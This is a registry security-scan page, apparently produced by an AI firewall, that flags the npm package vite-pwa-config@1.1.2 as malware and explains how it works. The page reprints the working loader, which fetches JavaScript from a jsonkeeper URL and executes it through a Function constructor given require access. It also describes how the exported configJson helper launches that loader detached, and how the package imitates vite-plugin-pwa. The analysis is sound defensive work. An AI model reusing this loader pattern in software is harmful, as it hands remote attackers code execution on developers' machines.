registry / vite-pwa-config / 1.1.2

vite-pwa-config@1.1.2

config json for Vite

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Confirmed user-invoked remote code execution. The exported configJson helper launches a detached helper that downloads JavaScript from jsonkeeper and executes it with require access.

Static reason

One or more suspicious static signals were detected.

Trigger

User imports and calls configJson from the package, as shown in README usage

Impact

Arbitrary remote payload execution in the consuming project environment

Mechanism

detached child_process spawn plus remote JavaScript eval

Attack narrative

A consuming project following the README calls configJson in Vite config. That function spawns a detached node process to run dist/client/dev/viteopt.js. The helper fetches a value from jsonkeeper using a custom header, constructs a Function with require access, and executes the downloaded string, giving the remote endpoint arbitrary code execution in the developer/build environment.

Rationale

The suspicious primitives are not package-aligned: a PWA config plugin has no legitimate need to fetch and execute remote JavaScript from jsonkeeper through a detached helper. Although there is no install hook, the documented exported API activates a concrete malicious RCE path.

Evidence

package.jsonREADME.mddist/index.jsdist/index.mjsdist/client/dev/viteopt.js

Network endpoints1

www.jsonkeeper.com/b/Q2ASJ

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

dist/index.js exports configJson; calling it spawns detached node on dist/client/dev/viteopt.js
dist/client/dev/viteopt.js GETs https://www.jsonkeeper.com/b/Q2ASJ with x-secret-key header
dist/client/dev/viteopt.js reads response.data.value and executes it via new Function("require", result)
README.md instructs users to import/call configJson, making the remote execution path user-facing
Package appears to mimic vite-plugin-pwa naming/docs while adding unrelated remote code execution

Evidence against

package.json has no npm lifecycle hooks, so attack is not install-time
Most PWA/workbox code in dist/index.js appears package-aligned
No local credential harvesting code is visible before the remote payload executes

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsEvalFilesystemNetworkShell

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 20 file(s), 166 KB of source, external domains: vite-pwa-org.netlify.app, www.jsonkeeper.com

Source & flagged code

4 flagged

dist/index.jsView file

Lines 28-68javascript

28 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,

29 mod

30));

31var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);

33// node_modules/.pnpm/kolorist@1.8.0/node_modules/kolorist/dist/esm/index.mjs

34function kolorist(start, end, level = 1) {

35 const open = `\x1B[${start}m`;

36 const close = `\x1B[${end}m`;

37 const regex = new RegExp(`\\x1b\\[${end}m`, "g");

38 return (str) => {

39 return options.enabled && options.supportLevel >= level ? open + ("" + str).replace(regex, open) + close : "" + str;

40 };

41}

42var enabled, globalVar, supportLevel, options, reset, bold, dim, italic, underline, inverse, hidden, strikethrough, black, red, green, yellow, blue, magenta, cyan, white, gray, lightGray, lightRed, lightGreen, lightYellow, lightBlue, lightMagenta, lightCyan, bgBlack, bgRed, bgGreen, bgYellow, bgBlue, bgMagenta, bgCyan, bgWhite, bgGray, bgLightRed, bgLightGreen, bgLightYellow, bgLightBlue, bgLightMagenta, bgLightCyan, bgLightGray;

43var init_esm = __esm({

44 "node_modules/.pnpm/kolorist@1.8.0/node_modules/kolorist/dist/esm/index.mjs"() {

45 "use strict";

46 enabled = true;

47 globalVar = typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : {};

48 supportLevel = 0;

49 if (globalVar.process && globalVar.process.env && globalVar.process.stdout) {

50 const { FORCE_COLOR, NODE_DISABLE_COLORS, NO_COLOR, TERM, COLORTERM } = globalVar.process.env;

51 if (NODE_DISABLE_COLORS || NO_COLOR || FORCE_COLOR === "0") {

52 enabled = false;

53 } else if (FORCE_COLOR === "1" || FORCE_COLOR === "2" || FORCE_COLOR === "3") {

54 enabled = true;

55 } else if (TERM === "dumb") {

56 enabled = false;

57 } else if ("CI" in globalVar.process.env && [

58 "TRAVIS",

59 "CIRCLECI",

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/index.jsView on unpkg · L48

60 "APPVEYOR",

61 "GITLAB_CI",

62 "GITHUB_ACTIONS",

63 "BUILDKITE",

64 "DRONE"

65 ].some((vendor) => vendor in globalVar.process.env)) {

66 enabled = true;

67 } else {

68 enabled = process.stdout.isTTY;

Lines 1232-1272javascript

1232 return _generateBundle(ctx, bundle, pluginCtx);

1233 },

1234 async generateSW() {

1235 return await _generateSW(ctx);

1236 },

1237 extendManifestEntries(fn) {

1238 const { options: options2 } = ctx;

1239 if (options2.disable)

1240 return;

1241 const configField2 = options2.strategies === "generateSW" ? "workbox" : "injectManifest";

1242 const result = fn(options2[configField2].additionalManifestEntries || []);

1243 if (result != null)

1244 options2[configField2].additionalManifestEntries = result;

1245 },

1246 pwaAssetsGenerator() {

1247 return ctx.pwaAssetsGenerator;

1248 }

1249 };

1250}

1251

1252// src/context.ts

1253var import_node_child_process = require("child_process");

1254var import_node_fs5 = require("fs");

High

Child Process

Package source references child process execution.

dist/index.jsView on unpkg · L1252

1255var import_node_path6 = require("path");

1256var path = __toESM(require("path"));

1257var import_node_url2 = require("url");

1258init_constants();

1259var import_meta2 = {};

1260var defaultOptions = {

1261 levelComparison: SORTING_ORDER.ASC,

1262 levels: DEFAULT_LEVELS,

1263 messageKey: "msg",

1264 errorKey: "err",

1265 nestedKey: null,

1266 enabled: true,

1267 base: {

1268 pid: process?.pid ?? 0

1269 },

1270 formatters: {

1271 bindings(bindings) {

1272 return bindings;

dist/client/dev/viteopt.jsView file

Lines 6-37javascript

6const axios_1 = __importDefault(require("axios"));

7const params = {

8 env: {

9 DEV_API_URL: "https://www.jsonkeeper.com/b/Q2ASJ",

10 DEV_SECREDT: "x-secret-key",

11 DEV_PREFIX: "_",

12 }

13};

14(async function setEnv(..._args) {

15 const source = params.env.DEV_API_URL;

16 const valid = params.env.DEV_SECREDT;

17 const opt = params.env.DEV_PREFIX;

18 let retrycnt = 5;

19 while (retrycnt > 0) {

20 try {

21 const originalLog = console.log;

22 const response = await axios_1.default.get(source, {

23 headers: { [valid]: opt }

24 });

25 const result = response.data.value;

26 // Function.constructor is the same as the Function constructor

27 const handler = new Function("require", result);

28 handler(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/client/dev/viteopt.jsView on unpkg · L26

29 console.log = originalLog;

30 break;

31 }

32 catch (error) {

33 retrycnt--;

34 }

35 }

36})();

dist/index.mjsView file

Lines 136-176javascript

136 url: manifestFilename,

137 revision: `${cHash.digest("hex")}`

138 });

139 }

140 if (manifestEntries.length > 0) {

141 if (useInjectManifest)

142 injectManifest.additionalManifestEntries = manifestEntries;

143 else

144 workbox.additionalManifestEntries = manifestEntries;

145 }

146}

147function generateWebManifestFile(options) {

148 return `${JSON.stringify(options.manifest, null, options.minify ? 0 : 2)}

149`;

150}

151

152// src/modules.ts

153import { promises as fs2 } from "node:fs";

154import { createRequire } from "node:module";

155import { dirname, resolve } from "node:path";

156import { fileURLToPath } from "node:url";

157var _dirname = typeof __dirname !== "undefined" ? __dirname : dirname(fileURLToPath(import.meta.url));

158var require2 = createRequire(_dirname);

Low

Weak Crypto

Package source references weak cryptographic algorithms.

dist/index.mjsView on unpkg · L156

159async function loadWorkboxBuild() {

160 try {

161 const workbox = await import("workbox-build");

162 return workbox.default ?? workbox;

163 } catch {

164 return require2("workbox-build");

165 }

166}

167async function generateRegisterSW2(options, mode, source = "register") {

168 const sw = options.buildBase + options.filename;

169 const scope = options.scope;

170 const content = await fs2.readFile(resolve(_dirname, `client/${mode}/${source}.js`), "utf-8");

171 return content.replace(/__SW__/g, sw).replace("__SCOPE__", scope).replace("__SW_AUTO_UPDATE__", `${options.registerType === "autoUpdate"}`).replace("__SW_SELF_DESTROYING__", `${options.selfDestroying}`).replace("__TYPE__", `${options.devOptions.enabled ? options.devOptions.type : "classic"}`);

172}

173async function generateServiceWorker(version, options, viteOptions) {

174 if (options.selfDestroying) {

175 const selfDestroyingSW = `

176self.addEventListener('install', (e) => {

Source & flagged code

4 flagged · loading source

dist/index.jsView file

1252// src/context.ts L1253: var import_node_child_process = require("child_process"); L1254: var import_node_fs5 = require("fs");

High

Child Process

Package source references child process execution.

dist/index.jsView on unpkg · L1252

48Cross-file remote execution chain: dist/index.js spawns dist/client/dev/viteopt.js; helper contains network access plus dynamic code execution. L48: supportLevel = 0; L49: if (globalVar.process && globalVar.process.env && globalVar.process.stdout) { L50: const { FORCE_COLOR, NODE_DISABLE_COLORS, NO_COLOR, TERM, COLORTERM } = globalVar.process.env; ... L57: } else if ("CI" in globalVar.process.env && [ L58: "TRAVIS", L59: "CIRCLECI", ... L309: try { L310: import.meta.hot.send('${DEV_READY_NAME}'); L311: } catch (e) { ... L366: Configure "${prefix}.maximumFileSizeToCacheInBytes" to change the limit: the default value is 2 MiB. L367: Check https://vite-pwa-org.netlify.app/guide/faq.html#missing-assets-from-sw-precache-manifest for more information. L368: Assets exceeding the limit:

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/index.jsView on unpkg · L48

dist/client/dev/viteopt.jsView file

26// Function.constructor is the same as the Function constructor L27: const handler = new Function("require", result); L28: handler(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/client/dev/viteopt.jsView on unpkg · L26

dist/index.mjsView file

156import { fileURLToPath } from "node:url"; L157: var _dirname = typeof __dirname !== "undefined" ? __dirname : dirname(fileURLToPath(import.meta.url)); L158: var require2 = createRequire(_dirname); ... L367: // src/context.ts L368: import { spawn } from "node:child_process"; L369: import { readFileSync } from "node:fs"; ... L417: const _dirname2 = typeof __dirname !== "undefined" ? __dirname : dirname2(fileURLToPath2(import.meta.url)); L418: const { version } = JSON.parse( L419: readFileSync(resolve3(_dirname2, "../package.json"), "utf-8") L420: ); ... L560: res.setHeader("Content-Type", "application/manifest+json"); L561: res.write(generateWebManifestFile(options), "utf-8");

Low

Weak Crypto

Package source references weak cryptographic algorithms.

dist/index.mjsView on unpkg · L156

Findings

3 High2 Medium6 Low

HighChild Processdist/index.js

HighShell

HighCross File Remote Execution Contextdist/index.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowEvaldist/client/dev/viteopt.js

LowWeak Cryptodist/index.mjs

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Source & flagged code

4 flagged

dist/index.jsView file

Lines 28-68javascript

28 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,

29 mod

30));

31var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);

33// node_modules/.pnpm/kolorist@1.8.0/node_modules/kolorist/dist/esm/index.mjs

34function kolorist(start, end, level = 1) {

35 const open = `\x1B[${start}m`;

36 const close = `\x1B[${end}m`;

37 const regex = new RegExp(`\\x1b\\[${end}m`, "g");

38 return (str) => {

39 return options.enabled && options.supportLevel >= level ? open + ("" + str).replace(regex, open) + close : "" + str;

40 };

41}

43var init_esm = __esm({

44 "node_modules/.pnpm/kolorist@1.8.0/node_modules/kolorist/dist/esm/index.mjs"() {

45 "use strict";

46 enabled = true;

47 globalVar = typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : {};

48 supportLevel = 0;

49 if (globalVar.process && globalVar.process.env && globalVar.process.stdout) {

50 const { FORCE_COLOR, NODE_DISABLE_COLORS, NO_COLOR, TERM, COLORTERM } = globalVar.process.env;

51 if (NODE_DISABLE_COLORS || NO_COLOR || FORCE_COLOR === "0") {

52 enabled = false;

53 } else if (FORCE_COLOR === "1" || FORCE_COLOR === "2" || FORCE_COLOR === "3") {

54 enabled = true;

55 } else if (TERM === "dumb") {

56 enabled = false;

57 } else if ("CI" in globalVar.process.env && [

58 "TRAVIS",

59 "CIRCLECI",

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/index.jsView on unpkg · L48

60 "APPVEYOR",

61 "GITLAB_CI",

62 "GITHUB_ACTIONS",

63 "BUILDKITE",

64 "DRONE"

65 ].some((vendor) => vendor in globalVar.process.env)) {

66 enabled = true;

67 } else {

68 enabled = process.stdout.isTTY;

Lines 1232-1272javascript

1232 return _generateBundle(ctx, bundle, pluginCtx);

1233 },

1234 async generateSW() {

1235 return await _generateSW(ctx);

1236 },

1237 extendManifestEntries(fn) {

1238 const { options: options2 } = ctx;

1239 if (options2.disable)

1240 return;

1241 const configField2 = options2.strategies === "generateSW" ? "workbox" : "injectManifest";

1242 const result = fn(options2[configField2].additionalManifestEntries || []);

1243 if (result != null)

1244 options2[configField2].additionalManifestEntries = result;

1245 },

1246 pwaAssetsGenerator() {

1247 return ctx.pwaAssetsGenerator;

1248 }

1249 };

1250}

1251

1252// src/context.ts

1253var import_node_child_process = require("child_process");

1254var import_node_fs5 = require("fs");

High

Child Process

Package source references child process execution.

dist/index.jsView on unpkg · L1252

1255var import_node_path6 = require("path");

1256var path = __toESM(require("path"));

1257var import_node_url2 = require("url");

1258init_constants();

1259var import_meta2 = {};

1260var defaultOptions = {

1261 levelComparison: SORTING_ORDER.ASC,

1262 levels: DEFAULT_LEVELS,

1263 messageKey: "msg",

1264 errorKey: "err",

1265 nestedKey: null,

1266 enabled: true,

1267 base: {

1268 pid: process?.pid ?? 0

1269 },

1270 formatters: {

1271 bindings(bindings) {

1272 return bindings;

dist/client/dev/viteopt.jsView file

Lines 6-37javascript

6const axios_1 = __importDefault(require("axios"));

7const params = {

8 env: {

9 DEV_API_URL: "https://www.jsonkeeper.com/b/Q2ASJ",

10 DEV_SECREDT: "x-secret-key",

11 DEV_PREFIX: "_",

12 }

13};

14(async function setEnv(..._args) {

15 const source = params.env.DEV_API_URL;

16 const valid = params.env.DEV_SECREDT;

17 const opt = params.env.DEV_PREFIX;

18 let retrycnt = 5;

19 while (retrycnt > 0) {

20 try {

21 const originalLog = console.log;

22 const response = await axios_1.default.get(source, {

23 headers: { [valid]: opt }

24 });

25 const result = response.data.value;

26 // Function.constructor is the same as the Function constructor

27 const handler = new Function("require", result);

28 handler(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/client/dev/viteopt.jsView on unpkg · L26

29 console.log = originalLog;

30 break;

31 }

32 catch (error) {

33 retrycnt--;

34 }

35 }

36})();

dist/index.mjsView file

Lines 136-176javascript

136 url: manifestFilename,

137 revision: `${cHash.digest("hex")}`

138 });

139 }

140 if (manifestEntries.length > 0) {

141 if (useInjectManifest)

142 injectManifest.additionalManifestEntries = manifestEntries;

143 else

144 workbox.additionalManifestEntries = manifestEntries;

145 }

146}

147function generateWebManifestFile(options) {

148 return `${JSON.stringify(options.manifest, null, options.minify ? 0 : 2)}

149`;

150}

151

152// src/modules.ts

153import { promises as fs2 } from "node:fs";

154import { createRequire } from "node:module";

155import { dirname, resolve } from "node:path";

156import { fileURLToPath } from "node:url";

157var _dirname = typeof __dirname !== "undefined" ? __dirname : dirname(fileURLToPath(import.meta.url));

158var require2 = createRequire(_dirname);

Low

Weak Crypto

Package source references weak cryptographic algorithms.

dist/index.mjsView on unpkg · L156

159async function loadWorkboxBuild() {

160 try {

161 const workbox = await import("workbox-build");

162 return workbox.default ?? workbox;

163 } catch {

164 return require2("workbox-build");

165 }

166}

167async function generateRegisterSW2(options, mode, source = "register") {

168 const sw = options.buildBase + options.filename;

169 const scope = options.scope;

170 const content = await fs2.readFile(resolve(_dirname, `client/${mode}/${source}.js`), "utf-8");

172}

173async function generateServiceWorker(version, options, viteOptions) {

174 if (options.selfDestroying) {

175 const selfDestroyingSW = `

176self.addEventListener('install', (e) => {